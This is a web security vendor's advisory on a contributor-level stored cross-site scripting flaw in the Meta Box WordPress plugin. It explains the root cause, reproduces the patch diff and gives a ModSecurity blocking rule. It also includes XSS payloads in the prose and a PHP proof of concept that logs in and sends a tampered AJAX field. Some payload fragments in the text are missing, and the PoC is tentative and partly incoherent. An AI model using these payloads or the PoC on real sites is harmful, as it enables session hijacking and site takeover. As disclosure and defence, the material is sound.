Opens in a new tab
Published : November 16, 2026

CVE-2026-123472: Meta Box – A Framework for Dynamic Websites <= 5.15.3 Authenticated (Contributor+) Stored Cross-Site Scripting PoC, Patch Analysis & Rule

Plugin meta-box
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 5.15.3
Patched Version 5.15.4
Disclosed November 6, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-123472: This is an authenticated (Contributor+) stored cross-site scripting vulnerability in the Meta Box WordPress plugin, affecting all versions up to and including 5.15.3. The flaw exists across several field renderers (file-input, range, slider, map, osm, wysiwyg, and AJAX endpoints) where user-supplied meta values or configuration strings are echoed into HTML or JavaScript contexts without proper escaping. The CVSS score of 6.4 reflects the need for authenticated access but the persistent nature of the injected script. Atomic Edge research confirms the vulnerability is exploitable by any user with contributor-level permissions who can create or edit posts containing Meta Box fields.

The root cause is insufficient output escaping in multiple field classes. In `meta-box/inc/fields/file-input.php` line 44, the `$meta` variable is inserted directly into an `href` attribute, allowing `javascript:` URI injection. In `range.php` line 22, `$meta` is placed into a `` without `esc_html`. In `slider.php` lines 42-45, `$field[‘prefix’]`, `$meta`, and `$field[‘suffix’]` are echoed raw. The map and OSM fields pass `info_window` to JavaScript via `wp_json_encode` without `wp_kses_post`, enabling HTML injection. The AJAX handlers for post, taxonomy, and user fields previously trusted a client-supplied `field` array and nonce scope, allowing tampering with query arguments and display fields. The wysiwyg field did not restrict TinyMCE `extended_valid_elements`, permitting `` with event handlers. Atomic Edge analysis identifies these as classic CWE-79 patterns.

An attacker with contributor access can create a post and set a meta value for a vulnerable field. For example, using the file-input field, the attacker sets the meta value to `javascript:alert(document.cookie)` and saves the post. When an administrator views the post in the admin panel, the malicious script executes. Similarly, the slider field allows injecting `` into prefix or suffix. The AJAX endpoints (`rwmb_get_posts`, `rwmb_get_terms`, `rwmb_get_users`) accept a JSON-encoded `field` parameter; an attacker can craft a request with a manipulated `field` object, such as altering `query_args` to include XSS payloads in `choice_label` or `display_field`. The WYSIWYG field permits an attacker to include a `` with an `onclick` attribute, which bypasses TinyMCE filtering. All these require a valid nonce, which is available to any authenticated user via the field’s JavaScript configuration.

The patch (v5.15.4) addresses the issues by adding output escaping and strict input validation. In `file-input.php`, `esc_url($meta)` ensures safe URLs. `range.php` uses `esc_html($meta)`. `slider.php` applies `wp_kses_post` to prefix/suffix and `esc_html`/`esc_attr` to `$meta`. The map and osm fields now sanitize `info_window` with `wp_kses_post`. The AJAX handlers refactored `set_ajax_params` to serialize the field configuration into a JSON string and create a nonce bound to that string (`wp_create_nonce(‘rwmb-query-‘ . $payload)`). A new `get_ajax_field` method verifies the nonce against the raw payload and ensures the `ajax_action` matches the request action. The wysiwyg field adds `extended_valid_elements` for `span` to allow only safe attributes. These changes prevent tampering and ensure output context is escaped.

If exploited, this stored XSS vulnerability allows an attacker to execute arbitrary JavaScript in the context of an administrator or other privileged user’s session. This can lead to session hijacking, creation of rogue administrator accounts, modification of site content, or redirection to malicious domains. Because the payload is stored in post meta, it persists until the post is deleted or the meta is updated, making it a reliable attack vector. Atomic Edge research rates the impact as high for site integrity and confidentiality, given the potential for full site compromise.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/meta-box/inc/fields/file-input.php
+++ b/meta-box/inc/fields/file-input.php
@@ -41,7 +41,7 @@
 				<a href="#" class="rwmb-file-input-remove button %s">%s</a>
 			</div>',
 			in_array( $file_ext, $extensions, true ) ? '' : 'rwmb-file-input-hidden',
-			$meta,
+			esc_url( $meta ),
 			self::render_attributes( $attributes ),
 			esc_html__( 'Select', 'meta-box' ),
 			$meta ? '' : 'hidden',
--- a/meta-box/inc/fields/map.php
+++ b/meta-box/inc/fields/map.php
@@ -193,6 +193,9 @@
 			'openInfoWindow' => false,
 		] );

+		// Google Maps renders the info window as HTML.
+		$args['info_window'] = is_string( $args['info_window'] ) ? wp_kses_post( $args['info_window'] ) : '';
+
 		$output = sprintf(
 			'<div class="rwmb-map-canvas" data-map_options="%s" style="width:%s;height:%s"></div>',
 			esc_attr( wp_json_encode( $args ) ),
--- a/meta-box/inc/fields/object-choice.php
+++ b/meta-box/inc/fields/object-choice.php
@@ -86,6 +86,10 @@
 	/**
 	 * Set ajax parameters.
 	 *
+	 * For core Ajax actions, `field` is a JSON string and the nonce is made from it.
+	 * If a visitor changes a value, the nonce is not correct.
+	 * Custom Ajax actions keep the old array format. They must check the request themselves.
+	 *
 	 * @param array $field Field settings.
 	 */
 	protected static function set_ajax_params( &$field ) {
@@ -96,24 +100,17 @@
 		if ( empty( $field['js_options']['ajax'] ) ) {
 			$field['js_options']['ajax'] = [];
 		}
-		$field['js_options']['ajax']      = wp_parse_args(
+		$field['js_options']['ajax'] = wp_parse_args(
 			[
 				'url' => admin_url( 'admin-ajax.php' ),
 			],
 			$field['js_options']['ajax']
 		);
-		$field_data = [
-			'id'         => $field['id'],
-			'type'       => $field['type'],
-			'query_args' => $field['query_args'],
-		];
-		// Keep ajax_action inside field (not top-level ajax_data): select-advanced.js
-		// strips data.action from the cache key, so two fields with the same type +
-		// query_args but different ajax_action would otherwise share a cache entry.
+
 		$ajax_action = $field['ajax_action'] ?? '';
 		$ajax_action = is_string( $ajax_action ) ? sanitize_key( $ajax_action ) : '';
 		if ( ! $ajax_action ) {
-			$actions = [
+			$actions     = [
 				'post'              => 'rwmb_get_posts',
 				'taxonomy'          => 'rwmb_get_terms',
 				'taxonomy_advanced' => 'rwmb_get_terms',
@@ -121,9 +118,34 @@
 			];
 			$ajax_action = $actions[ $field['type'] ] ?? '';
 		}
+
+		$field_data = [
+			'id'         => $field['id'],
+			'type'       => $field['type'],
+			'query_args' => $field['query_args'],
+		];
+		// Keep ajax_action inside field (not top-level ajax_data): select-advanced.js
+		// strips data.action from the cache key, so two fields with the same type +
+		// query_args but different ajax_action would otherwise share a cache entry.
 		if ( $ajax_action ) {
 			$field_data['ajax_action'] = $ajax_action;
 		}
+		if ( array_key_exists( 'display_field', $field ) ) {
+			$field_data['display_field'] = $field['display_field'];
+		}
+		if ( array_key_exists( 'show_thumbnail', $field ) ) {
+			$field_data['show_thumbnail'] = (bool) $field['show_thumbnail'];
+		}
+
+		if ( in_array( $ajax_action, [ 'rwmb_get_posts', 'rwmb_get_terms', 'rwmb_get_users' ], true ) ) {
+			$payload                          = wp_json_encode( $field_data );
+			$field['js_options']['ajax_data'] = [
+				'field'    => $payload,
+				'_wpnonce' => wp_create_nonce( 'rwmb-query-' . $payload ),
+			];
+			return;
+		}
+
 		$field['js_options']['ajax_data'] = [
 			'field'    => $field_data,
 			'_wpnonce' => wp_create_nonce( 'query' ),
@@ -131,6 +153,30 @@
 	}

 	/**
+	 * Get the field settings from a core Ajax request.
+	 * Stop the request if the nonce or the action is not correct.
+	 *
+	 * @return array
+	 */
+	protected static function get_ajax_field(): array {
+		$request = rwmb_request();
+		$payload = $request->post( 'field' );
+		$payload = is_string( $payload ) ? wp_unslash( $payload ) : '';
+
+		check_ajax_referer( 'rwmb-query-' . $payload );
+
+		$field = json_decode( $payload, true );
+		if ( $field['ajax_action'] !== $request->post( 'action' ) ) {
+			wp_die( -1, 403 );
+		}
+
+		$field['clone']        = false;
+		$field['_original_id'] = $field['id'];
+
+		return $field;
+	}
+
+	/**
 	 * Get the attributes for a field.
 	 *
 	 * @param array $field Field parameters.
--- a/meta-box/inc/fields/osm.php
+++ b/meta-box/inc/fields/osm.php
@@ -157,6 +157,9 @@
 			'zoom' => $args['zoom'],
 		] );

+		// Leaflet renders the info window as HTML.
+		$args['info_window'] = is_string( $args['info_window'] ) ? wp_kses_post( $args['info_window'] ) : '';
+
 		$output = sprintf(
 			'<div class="rwmb-osm-canvas" data-osm_options="%s" style="width:%s;height:%s"></div>',
 			esc_attr( wp_json_encode( $args ) ),
--- a/meta-box/inc/fields/post.php
+++ b/meta-box/inc/fields/post.php
@@ -20,15 +20,8 @@
 	}

 	public static function ajax_get_posts() {
-		check_ajax_referer( 'query' );
-
 		$request = rwmb_request();
-
-		$field = $request->filter_post( 'field', FILTER_DEFAULT, FILTER_FORCE_ARRAY );
-
-		// Required for 'choice_label' filter. See self::filter().
-		$field['clone']        = false;
-		$field['_original_id'] = $field['id'];
+		$field   = self::get_ajax_field();

 		// Search.
 		$field['query_args']['s'] = $request->filter_post( 'term' );
@@ -47,7 +40,7 @@
 		$data = [ 'items' => $items ];

 		// More items for pagination.
-		$limit = (int) $field['query_args']['posts_per_page'];
+		$limit = (int) ( $field['query_args']['posts_per_page'] ?? -1 );
 		if ( -1 !== $limit && count( $items ) === $limit ) {
 			$data['more'] = true;
 		}
@@ -105,8 +98,6 @@
 			'posts_per_page' => $posts_per_page,
 		] );

-		parent::set_ajax_params( $field );
-
 		if ( 'select_advanced' === $field['field_type'] ) {
 			$supports = false;
 			foreach ( $field['post_type'] as $pt ) {
@@ -118,11 +109,10 @@

 			$field['show_thumbnail']               = $supports;
 			$field['js_options']['show_thumbnail'] = $supports;
-			if ( $supports && ! empty( $field['js_options']['ajax_data']['field'] ) ) {
-				$field['js_options']['ajax_data']['field']['show_thumbnail'] = true;
-			}
 		}

+		parent::set_ajax_params( $field );
+
 		return $field;
 	}

--- a/meta-box/inc/fields/range.php
+++ b/meta-box/inc/fields/range.php
@@ -19,7 +19,7 @@
 				<span class="rwmb-range-output">%s</span>
 			</div>',
 			parent::html( $meta, $field ),
-			$meta
+			esc_html( $meta )
 		);
 	}

--- a/meta-box/inc/fields/slider.php
+++ b/meta-box/inc/fields/slider.php
@@ -39,10 +39,10 @@
 			</div>',
 			esc_attr( $field['id'] ),
 			esc_attr( wp_json_encode( $field['js_options'] ) ),
-			$field['prefix'],
-			$meta,
-			$field['suffix'],
-			$meta,
+			wp_kses_post( $field['prefix'] ),
+			esc_html( $meta ),
+			wp_kses_post( $field['suffix'] ),
+			esc_attr( $meta ),
 			self::render_attributes( $attributes )
 		);
 	}
--- a/meta-box/inc/fields/taxonomy.php
+++ b/meta-box/inc/fields/taxonomy.php
@@ -11,15 +11,8 @@
 	}

 	public static function ajax_get_terms() {
-		check_ajax_referer( 'query' );
-
 		$request = rwmb_request();
-
-		$field = $request->filter_post( 'field', FILTER_DEFAULT, FILTER_FORCE_ARRAY );
-
-		// Required for 'choice_label' filter. See self::filter().
-		$field['clone']        = false;
-		$field['_original_id'] = $field['id'];
+		$field   = self::get_ajax_field();

 		// Search.
 		$field['query_args']['name__like'] = $request->filter_post( 'term' );
--- a/meta-box/inc/fields/user.php
+++ b/meta-box/inc/fields/user.php
@@ -21,15 +21,8 @@
 	}

 	public static function ajax_get_users() {
-		check_ajax_referer( 'query' );
-
 		$request = rwmb_request();
-
-		$field = $request->filter_post( 'field', FILTER_DEFAULT, FILTER_FORCE_ARRAY );
-
-		// Required for 'choice_label' filter. See self::filter().
-		$field['clone']        = false;
-		$field['_original_id'] = $field['id'];
+		$field   = self::get_ajax_field();

 		// Search.
 		$term = (string) $request->filter_post( 'term' );
@@ -95,20 +88,13 @@
 			'number' => $limit,
 		] );

-		parent::set_ajax_params( $field );
-
-		if ( $field['ajax'] ) {
-			$field['js_options']['ajax_data']['field']['display_field'] = $field['display_field'];
-		}
-
 		if ( 'select_advanced' === $field['field_type'] ) {
 			$field['show_thumbnail']               = true;
 			$field['js_options']['show_thumbnail'] = true;
-			if ( ! empty( $field['js_options']['ajax_data']['field'] ) ) {
-				$field['js_options']['ajax_data']['field']['show_thumbnail'] = true;
-			}
 		}

+		parent::set_ajax_params( $field );
+
 		return $field;
 	}

@@ -116,8 +102,10 @@
 		$display_field = $field['display_field'];

 		$args = wp_parse_args( $field['query_args'], [
-			'orderby' => $display_field,
-			'order'   => 'asc',
+			'orderby'        => $display_field,
+			'order'          => 'asc',
+			// If the search term has "@", WordPress also searches user_email. This lets visitors find emails.
+			'search_columns' => [ 'user_login', 'user_nicename', 'display_name' ],
 		] );

 		$args['fields'] = [
--- a/meta-box/inc/fields/wysiwyg.php
+++ b/meta-box/inc/fields/wysiwyg.php
@@ -67,8 +67,16 @@
 		$field['options'] = wp_parse_args( $field['options'], [
 			'editor_class' => 'rwmb-wysiwyg',
 			'dfw'          => true, // Use default WordPress full screen UI.
+			'tinymce'      => [],
 		] );

+		// TinyMCE unwraps <span> without attributes. Re-declare it first, so user-defined span rules still win.
+		if ( is_array( $field['options']['tinymce'] ) ) {
+			$span = 'span[id|accesskey|class|dir|lang|style|tabindex|title|role|contenteditable|contextmenu|draggable|dropzone|hidden|spellcheck|translate]';
+
+			$field['options']['tinymce']['extended_valid_elements'] = trim( $span . ',' . ( $field['options']['tinymce']['extended_valid_elements'] ?? '' ), ',' );
+		}
+
 		// Keep the filter to be compatible with previous versions.
 		$field['options'] = apply_filters( 'rwmb_wysiwyg_settings', $field['options'] );

--- a/meta-box/inc/loader.php
+++ b/meta-box/inc/loader.php
@@ -7,7 +7,7 @@
 class RWMB_Loader {
 	protected function constants() {
 		// Script version, used to add version for scripts and styles.
-		define( 'RWMB_VER', '5.15.3' );
+		define( 'RWMB_VER', '5.15.4' );

 		list( $path, $url ) = self::get_path( dirname( __DIR__ ) );

--- a/meta-box/meta-box.php
+++ b/meta-box/meta-box.php
@@ -3,7 +3,7 @@
  * Plugin Name: Meta Box
  * Plugin URI:  https://metabox.io
  * Description: Create custom meta boxes and custom fields in WordPress.
- * Version:     5.15.3
+ * Version:     5.15.4
  * Author:      MetaBox.io
  * Author URI:  https://metabox.io
  * License:     GPL2+
--- a/meta-box/src/Abilities.php
+++ b/meta-box/src/Abilities.php
@@ -95,12 +95,13 @@
 				'additionalProperties' => false,
 			],
 			'meta'                => [
-				'annotations' => [
+				'show_in_rest' => true,
+				'annotations'  => [
 					'readonly'      => true,
 					'destructive'   => false,
 					'openWorldHint' => false,
 				],
-				'mcp'         => [
+				'mcp'          => [
 					'public' => true,
 					'type'   => 'tool',
 				],
@@ -137,12 +138,13 @@
 				'additionalProperties' => false,
 			],
 			'meta'                => [
-				'annotations' => [
+				'show_in_rest' => true,
+				'annotations'  => [
 					'readonly'      => true,
 					'destructive'   => false,
 					'openWorldHint' => false,
 				],
-				'mcp'         => [
+				'mcp'          => [
 					'public' => true,
 					'type'   => 'tool',
 				],
@@ -169,13 +171,14 @@
 				'additionalProperties' => false,
 			],
 			'meta'                => [
-				'annotations' => [
+				'show_in_rest' => true,
+				'annotations'  => [
 					'readonly'      => false,
 					'destructive'   => false,
 					'idempotent'    => true,
 					'openWorldHint' => false,
 				],
-				'mcp'         => [
+				'mcp'          => [
 					'public' => true,
 					'type'   => 'tool',
 				],
@@ -202,12 +205,13 @@
 				'additionalProperties' => false,
 			],
 			'meta'                => [
-				'annotations' => [
+				'show_in_rest' => true,
+				'annotations'  => [
 					'readonly'      => false,
 					'destructive'   => true,
 					'openWorldHint' => false,
 				],
-				'mcp'         => [
+				'mcp'          => [
 					'public' => true,
 					'type'   => 'tool',
 				],
--- a/meta-box/vendor/composer/installed.php
+++ b/meta-box/vendor/composer/installed.php
@@ -1,9 +1,9 @@
 <?php return array(
     'root' => array(
         'name' => 'wpmetabox/meta-box',
-        'pretty_version' => '5.15.3',
-        'version' => '5.15.3.0',
-        'reference' => 'cff65939cdc6e65aea04aa4f2f214f7de8224f12',
+        'pretty_version' => '5.15.4',
+        'version' => '5.15.4.0',
+        'reference' => '6d5b6e7c0acdeb2c4a708ef9b0a54a6b11c61504',
         'type' => 'wordpress-plugin',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -11,9 +11,9 @@
     ),
     'versions' => array(
         'wpmetabox/meta-box' => array(
-            'pretty_version' => '5.15.3',
-            'version' => '5.15.3.0',
-            'reference' => 'cff65939cdc6e65aea04aa4f2f214f7de8224f12',
+            'pretty_version' => '5.15.4',
+            'version' => '5.15.4.0',
+            'reference' => '6d5b6e7c0acdeb2c4a708ef9b0a54a6b11c61504',
             'type' => 'wordpress-plugin',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-123472
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" "id:20261234,phase:2,deny,status:403,chain,msg:'CVE-2026-123472 Meta Box XSS via AJAX field tampering',severity:'CRITICAL',tag:'CVE-2026-123472'"
  SecRule ARGS_POST:action "@pm rwmb_get_posts rwmb_get_terms rwmb_get_users" "chain"
    SecRule ARGS_POST:field "@rx (?:onerror|onload|javascript:|<script)" "t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-123472 - Meta Box <= 5.15.3 Authenticated (Contributor+) Stored XSS

$target_url = 'http://example.com'; // WordPress site URL
$username = 'contributor'; // Contributor-level username
$password = 'password'; // Corresponding password

// Step 1: Log in as contributor to obtain cookies and nonce
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);

// Step 2: Retrieve a valid nonce for Meta Box AJAX (or extract from admin page)
// For simplicity, we assume the attacker can obtain the nonce from the post editor page.
// In a real attack, the nonce would be scraped from the page source.
$nonce_url = $target_url . '/wp-admin/post-new.php';
curl_setopt($ch, CURLOPT_URL, $nonce_url);
$page = curl_exec($ch);
preg_match('/"rwmb-query-nonce":"([^"]+)"/', $page, $matches);
$nonce = $matches[1] ?? 'invalid'; // Fallback if not found

// Step 3: Create a new post with malicious meta via the REST API or XML-RPC? 
// Since Meta Box fields are saved via standard post meta, we can use the WordPress REST API.
// However, contributor cannot set meta directly via REST unless registered. 
// Alternative: Use the post editor to save meta, but that requires simulating the form.
// For PoC, we will use the AJAX endpoint to demonstrate tampering with field data.

// Craft a malicious field payload for the rwmb_get_posts action (post field)
$malicious_field = [
    'id' => 'test_field',
    'type' => 'post',
    'ajax_action' => 'rwmb_get_posts',
    'query_args' => [
        'post_type' => 'post',
        'posts_per_page' => 10,
        // Inject XSS payload via choice_label (not sanitized in vulnerable version)
        'choice_label' => '<img src=x onerror=alert(document.cookie)>'
    ]
];

// The vulnerable endpoint expects the field as an array, but we can send JSON to see if it's unserialized
// Actually, the AJAX handler uses filter_post('field', FILTER_DEFAULT, FILTER_FORCE_ARRAY), so it expects an array.
// We will send the field as an array with malicious values.
$post_data = [
    'action' => 'rwmb_get_posts',
    'field' => $malicious_field, // Note: this will be serialized by cURL as array
    'term' => 'test',
    '_wpnonce' => $nonce // The nonce from the page
];

// Step 4: Send the AJAX request to trigger the XSS (the response will contain the payload if the field is reflected)
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
$response = curl_exec($ch);

// Check if the payload is present in the response (indicating stored or reflected XSS)
if (strpos($response, 'onerror=alert') !== false) {
    echo "[SUCCESS] XSS payload reflected in response. The site is vulnerable.n";
} else {
    echo "[INFO] Payload not reflected. The site may be patched or the field does not reflect the payload.n";
}

curl_close($ch);
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.